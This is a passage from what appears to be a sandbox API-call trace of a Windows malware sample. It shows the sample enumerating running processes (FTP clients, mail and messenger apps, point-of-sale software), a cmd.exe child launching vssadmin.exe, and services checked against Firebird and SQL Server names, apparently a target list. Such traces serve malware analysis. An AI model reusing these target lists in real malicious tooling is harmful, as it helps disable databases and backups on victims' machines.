szExeFile="3dftp.exe")) returned 1 [0080.425] lstrlenW (lpString="3dftp.exe") returned 9 [0080.425] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0080.425] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0080.425] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0080.426] lstrlenW (lpString="alftp.exe") returned 9 [0080.426] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0080.426] lstrlenW (lpString="barca.exe") returned 9 [0080.426] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0080.427] lstrlenW (lpString="bitkinex.exe") returned 12 [0080.427] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0080.427] lstrlenW (lpString="coreftp.exe") returned 11 [0080.427] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0080.427] lstrlenW (lpString="far.exe") returned 7 [0080.428] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0080.428] lstrlenW (lpString="filezilla.exe") returned 13 [0080.428] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0080.428] lstrlenW (lpString="flashfxp.exe") returned 12 [0080.428] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0080.429] lstrlenW (lpString="fling.exe") returned 9 [0080.429] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0080.429] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0080.429] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0080.444] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0080.444] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0080.445] lstrlenW (lpString="icq.exe") returned 7 [0080.445] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0080.445] lstrlenW (lpString="leechftp.exe") returned 12 [0080.445] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0080.446] lstrlenW (lpString="ncftp.exe") returned 9 [0080.446] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0080.446] lstrlenW (lpString="notepad.exe") returned 11 [0080.446] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0080.447] lstrlenW (lpString="operamail.exe") returned 13 [0080.447] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0080.447] lstrlenW (lpString="pidgin.exe") returned 10 [0080.447] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0080.448] lstrlenW (lpString="scriptftp.exe") returned 13 [0080.448] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0080.448] lstrlenW (lpString="skype.exe") returned 9 [0080.448] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0080.449] lstrlenW (lpString="smartftp.exe") returned 12 [0080.449] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0080.449] lstrlenW (lpString="thunderbird.exe") returned 15 [0080.450] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0080.450] lstrlenW (lpString="totalcmd.exe") returned 12 [0080.450] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0080.451] lstrlenW (lpString="trillian.exe") returned 12 [0080.451] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0080.451] lstrlenW (lpString="webdrive.exe") returned 12 [0080.451] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0080.452] lstrlenW (lpString="whatsapp.exe") returned 12 [0080.452] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0080.452] lstrlenW (lpString="winscp.exe") returned 10 [0080.453] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0080.453] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0080.453] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0080.454] lstrlenW (lpString="active-charge.exe") returned 17 [0080.454] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0080.454] lstrlenW (lpString="accupos.exe") returned 11 [0080.454] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0080.455] lstrlenW (lpString="afr38.exe") returned 9 [0080.455] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0080.455] lstrlenW (lpString="aldelo.exe") returned 10 [0080.456] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0080.456] lstrlenW (lpString="ccv_server.exe") returned 14 [0080.456] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0080.457] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0080.457] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0080.457] lstrlenW (lpString="creditservice.exe") returned 17 [0080.457] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0080.458] lstrlenW (lpString="edcsvr.exe") returned 10 [0080.458] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0080.458] lstrlenW (lpString="fpos.exe") returned 8 [0080.458] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0080.459] lstrlenW (lpString="isspos.exe") returned 10 [0080.459] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0080.459] lstrlenW (lpString="mxslipstream.exe") returned 16 [0080.459] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0080.460] lstrlenW (lpString="omnipos.exe") returned 11 [0080.460] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0080.460] lstrlenW (lpString="spcwin.exe") returned 10 [0080.460] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0080.462] lstrlenW (lpString="spgagentservice.exe") returned 19 [0080.462] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0080.463] lstrlenW (lpString="utg2.exe") returned 8 [0080.463] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="nj_sh.exe")) returned 1 [0080.463] lstrlenW (lpString="nj_sh.exe") returned 9 [0080.463] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="motherboard_dial_rule.exe")) returned 1 [0080.464] lstrlenW (lpString="motherboard_dial_rule.exe") returned 25 [0080.464] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="telecommunications.exe")) returned 1 [0080.464] lstrlenW (lpString="telecommunications.exe") returned 22 [0080.464] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="sound banking.exe")) returned 1 [0080.465] lstrlenW (lpString="sound banking.exe") returned 17 [0080.465] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.465] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0080.465] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0080.466] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0080.466] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0080.466] lstrlenW (lpString="taskhost.exe") returned 12 [0080.466] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0080.467] lstrlenW (lpString="winhost.exe") returned 11 [0080.467] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb80, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0080.467] lstrlenW (lpString="cmd.exe") returned 7 [0080.467] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0080.468] lstrlenW (lpString="conhost.exe") returned 11 [0080.468] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb1c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0080.468] lstrlenW (lpString="vssadmin.exe") returned 12 [0080.468] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0080.469] lstrlenW (lpString="VSSVC.exe") returned 9 [0080.469] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.469] lstrlenW (lpString="svchost.exe") returned 11 [0080.469] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0080.470] lstrlenW (lpString="LogonUI.exe") returned 11 [0080.470] Process32NextW (in: hSnapshot=0x1dc, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0080.470] CloseHandle (hObject=0x1dc) returned 1 [0080.470] Sleep (dwMilliseconds=0x1f4) [0081.156] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ff00 [0081.227] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 0 [0081.228] GetLastError () returned 0xea [0081.228] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x12c6) returned 0x3959740 [0081.229] EnumServicesStatusExW (in: hSCManager=0x52ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3959740, cbBufSize=0x12c6, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3959740, pcbBytesNeeded=0x22aff44, lpServicesReturned=0x22aff5c, lpResumeHandle=0x0) returned 1 [0081.230] CloseServiceHandle (hSCObject=0x52ff00) returned 1 [0081.230] lstrlenW (lpString="Appinfo") returned 7 [0081.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0081.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0081.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0081.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0081.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0081.230] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0081.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0081.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0081.230] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0081.230] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0081.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0081.230] lstrlenW (lpString="AudioSrv") returned 8 [0081.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0081.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0081.230] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0081.231] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0081.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0081.231] lstrlenW (lpString="BFE") returned 3 [0081.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0081.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0081.231] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0081.231] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0081.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0081.231] lstrlenW (lpString="CryptSvc") returned 8 [0081.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0081.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0081.231] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0081.231] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0081.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0081.231] lstrlenW (lpString="CscService") returned 10 [0081.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0081.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0081.231] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0081.231] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0081.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0081.231] lstrlenW (lpString="DcomLaunch") returned 10 [0081.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0081.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0081.231] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0081.231] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0081.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0081.232] lstrlenW (lpString="Dhcp") returned 4 [0081.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0081.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0081.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0081.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0081.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0081.232] lstrlenW (lpString="Dnscache") returned 8 [0081.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0081.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0081.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0081.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") 